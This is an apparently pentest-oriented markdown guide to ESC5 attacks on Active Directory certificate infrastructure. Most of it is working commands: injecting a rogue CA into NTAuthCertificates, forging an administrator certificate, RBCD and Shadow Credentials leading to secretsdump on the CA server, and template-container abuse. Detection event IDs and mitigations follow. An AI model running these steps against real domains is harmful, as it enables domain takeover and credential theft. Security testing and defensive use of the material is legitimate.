esc5-vulnerable-pki-object-access-control.md (9109B)
1 --- 2 title: "ESC5 — Vulnerable PKI Object Access Control" 3 description: "ESC5 is a broad category of permission-level attacks against the various Active Directory objects that comprise the PKI infrastructure. Unlike ESC4 which…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "pivoting"] 7 tools: ["Impacket", "Certipy", "BloodHound", "OpenSSL", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC5 — Vulnerable PKI Object Access Control.md" 11 --- 12 # ESC5 — Vulnerable PKI Object Access Control 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | AD Object Permission Abuse | 19 | **Difficulty** | Medium–High | 20 | **Pre-requisites** | Write/ownership ACE on PKI AD objects | 21 | **Tools** | Certipy, BloodHound, PowerView, Impacket | 22 | **OPSEC Noise** | Medium — AD object modifications generate directory change events | 23 | **One-liner** | Abuse write permissions on PKI infrastructure AD objects to enable other ESC attack paths or inject a rogue CA. | 24 25 *** 26 27 ## What Is ESC5? 28 29 ESC5 is a **broad category of permission-level attacks** against the various Active Directory objects that comprise the PKI infrastructure. Unlike ESC4 which targets a single certificate template object, ESC5 targets the **containers and objects that hold the entire ADCS ecosystem together**. These objects live in the `Configuration` naming context — meaning they replicate **forest-wide**. Compromising them can affect every domain in a multi-domain forest. 30 31 The key insight: ADCS doesn't exist in a vacuum — its security depends on the ACLs of multiple AD objects. If any one of them has overly permissive DACLs, an attacker can pivot into template abuse (ESC1–4), CA control (ESC6–7), or direct domain compromise. 32 33 *** 34 35 ## The Vulnerable PKI Objects 36 37 All these objects live under `CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com`: 38 39 | Object | Path | What Control Over It Gets You | 40 |--------|------|-------------------------------| 41 | **CA Server AD Computer Object** | `CN=Computers` (or its OU) | RBCD / Shadow Credentials → local admin on CA → Golden Certificate | 42 | **CA Server's DCOM/RPC Interface** | Network access to CA | Direct cert request/approval capability | 43 | **NTAuthCertificates** | `CN=NTAuth,CN=Public Key Services,...` | Inject a rogue CA → forge any certificate trusted for domain auth | 44 | **Certificate Templates Container** | `CN=Certificate Templates,...` | Create/modify templates → introduce ESC1–4 vulns | 45 | **Enrollment Services Container** | `CN=Enrollment Services,...` | Control which templates are published, modify CA behaviour | 46 | **OID Container** | `CN=OID,...` | Manipulate issuance policy OIDs (relevant to ESC13) | 47 48 *** 49 50 ## Attack Path 1 — Rogue CA via NTAuthCertificates 51 52 This is the **most devastating ESC5 path**. If you can write to the `NTAuthCertificates` object, you can inject your own CA certificate and forge trusted authentication certs offline — similar in impact to a Golden Certificate but without needing CA server access. 53 54 ### Step 1 — Check ACLs on NTAuthCertificates 55 56 ```bash 57 # Using Certipy 58 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 59 -dc-ip $TARGET -stdout 60 61 # Using PowerView 62 Get-DomainObjectAcl -SearchBase \ 63 "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ 64 -ResolveGUIDs | Where-Object { 65 $_.ObjectAceType -match 'Write' -or $_.ActiveDirectoryRights -match 'GenericAll|WriteDACL|WriteOwner' 66 } 67 ``` 68 69 ### Step 2 — Generate a Rogue CA Certificate 70 71 ```bash 72 # Generate a self-signed CA cert 73 openssl req -x509 -newkey rsa:4096 -keyout rogue-ca.key -out rogue-ca.crt \ 74 -days 3650 -nodes -subj "/CN=Rogue-CA" 75 76 # Convert to PFX 77 openssl pkcs12 -export -out rogue-ca.pfx -inkey rogue-ca.key -in rogue-ca.crt -passout pass: 78 ``` 79 80 ### Step 3 — Inject Rogue CA into NTAuthCertificates 81 82 ```powershell 83 # PowerShell — add the rogue CA to NTAuthCertificates 84 certutil -dspublish -f rogue-ca.crt NTAuthCA 85 86 # Or via LDAP modification 87 $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("rogue-ca.crt") 88 $NTAuth = "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" 89 Set-ADObject $NTAuth -Add @{cACertificate=$cert.RawData} 90 ``` 91 92 ### Step 4 — Forge Certificates Signed by the Rogue CA 93 94 ```bash 95 # Use certipy forge with your rogue CA key 96 certipy-ad forge \ 97 -ca-pfx rogue-ca.pfx \ 98 -upn 'administrator@domain.htb' \ 99 -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' 100 101 # Authenticate 102 certipy-ad auth \ 103 -pfx administrator_forged.pfx \ 104 -username administrator \ 105 -domain domain.htb \ 106 -dc-ip $TARGET 107 ``` 108 109 *** 110 111 ## Attack Path 2 — RBCD/Shadow Credentials on CA Computer Object 112 113 If you have `GenericWrite` or `GenericAll` over the CA server's **computer object in AD**, you can perform Resource-Based Constrained Delegation (RBCD) or Shadow Credentials to gain local admin on the CA server, then extract the CA private key (Golden Certificate path). 114 115 ```bash 116 # Shadow Credentials on CA computer object 117 certipy-ad shadow auto \ 118 -u 'lowpriv@domain.htb' \ 119 -p 'Password123!' \ 120 -dc-ip $TARGET -dc-host dc01.domain.htb \ 121 -target 'CA-SERVER$' 122 123 # Or RBCD 124 impacket-rbcd \ 125 'domain.htb/lowpriv:Password123!' \ 126 -delegate-to 'CA-SERVER$' \ 127 -delegate-from 'EVILPC$' \ 128 -dc-ip $TARGET \ 129 -action write 130 131 # Then S4U2Self/S4U2Proxy to get service ticket 132 impacket-getST \ 133 'domain.htb/EVILPC$:EvilPass!' \ 134 -spn 'cifs/CA-SERVER.domain.htb' \ 135 -impersonate administrator \ 136 -dc-ip $TARGET 137 138 # Use the ticket to access CA server 139 export KRB5CCNAME=administrator@cifs_CA-SERVER.domain.htb@DOMAIN.HTB.ccache 140 secretsdump.py -k -no-pass CA-SERVER.domain.htb 141 142 # Then → certipy backup → Golden Certificate 143 ``` 144 145 *** 146 147 ## Attack Path 3 — Certificate Templates Container Write 148 149 If you have write access to the `CN=Certificate Templates` container itself (not just a single template), you can **create entirely new templates** with ESC1-vulnerable settings. 150 151 ```powershell 152 # Check ACL on the container 153 Get-DomainObjectAcl -SearchBase \ 154 "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ 155 -ResolveGUIDs | Where-Object { 156 $_.ActiveDirectoryRights -match 'CreateChild|GenericAll|WriteDACL' 157 } 158 ``` 159 160 *** 161 162 ## Enumeration 163 164 ```bash 165 # Certipy will surface some ESC5 paths 166 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 167 -dc-ip $TARGET -vulnerable -stdout 168 169 # BloodHound is superior for ESC5 — it maps ACE edges to PKI objects 170 # Look for edges: GenericAll, GenericWrite, WriteDACL, WriteOwner, Owns 171 # FROM: low-priv principals 172 # TO: CA computer objects, NTAuthCertificates, Certificate Templates container 173 ``` 174 175 ### BloodHound Cypher Queries 176 177 ```cypher 178 // Find principals with dangerous rights over PKI objects 179 MATCH (n)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner|Owns]->(m) 180 WHERE m.name =~ '.*CERTIFICATE.*|.*NTAUTH.*|.*ENROLLMENT.*|.*CA.*' 181 RETURN n.name, type(r), m.name 182 183 // Find principals with write access to NTAuthCertificates 184 MATCH (n)-[r]->(m {name: 'NTAUTHCERTIFICATES@DOMAIN.HTB'}) 185 WHERE type(r) IN ['GenericAll', 'GenericWrite', 'WriteDACL', 'WriteOwner'] 186 RETURN n.name, type(r) 187 ``` 188 189 *** 190 191 ## OPSEC Considerations 192 193 | Action | Log Generated | Noise Level | 194 |--------|--------------|-------------| 195 | Querying PKI object ACLs | LDAP query — low noise | 🟢 Low | 196 | Modifying NTAuthCertificates | Directory Service Changes (5136) | 🔴 High | 197 | RBCD write on CA computer | Directory Service Changes (5136) | 🔴 High | 198 | Creating new certificate template | Directory Service Changes (5136/5137) | 🔴 High | 199 200 *** 201 202 ## ESC5 vs ESC4 203 204 | | ESC4 | ESC5 | 205 |---|---|---| 206 | **Target** | Single certificate template object | Multiple PKI infrastructure objects | 207 | **Scope** | Template-level | Forest-wide (Configuration NC) | 208 | **End goal** | Mutate template → ESC1 | Enable ESC1–4, inject rogue CA, or Golden Cert path | 209 | **BloodHound visibility** | Template ACE edges | PKI container/object ACE edges | 210 211 *** 212 213 ## Detection Indicators 214 215 - **Event ID 5136/5137** — Directory Service object modifications in the `CN=Public Key Services` container 216 - **Event ID 4742** — Computer account changed (if RBCD path used against CA computer) 217 - **NTAuthCertificates monitoring** — Alert on ANY modification to the `cACertificate` attribute 218 - **BloodHound** — Dangerous ACE edges from non-admin principals to PKI objects 219 220 *** 221 222 ## Mitigation 223 224 - **Audit PKI object DACLs** — Only `Enterprise Admins` and `Domain Admins` should have write access to objects under `CN=Public Key Services` 225 - **Protect the CA computer object** — Treat it as Tier 0; remove `GenericWrite`/`GenericAll` from any non-admin principal 226 - **Monitor NTAuthCertificates** — Any change should trigger an immediate security alert 227 - **Lock down the Certificate Templates container** — Only PKI admins should be able to create or modify templates 228 - **Enable AD DS auditing** on the Configuration partition to catch modifications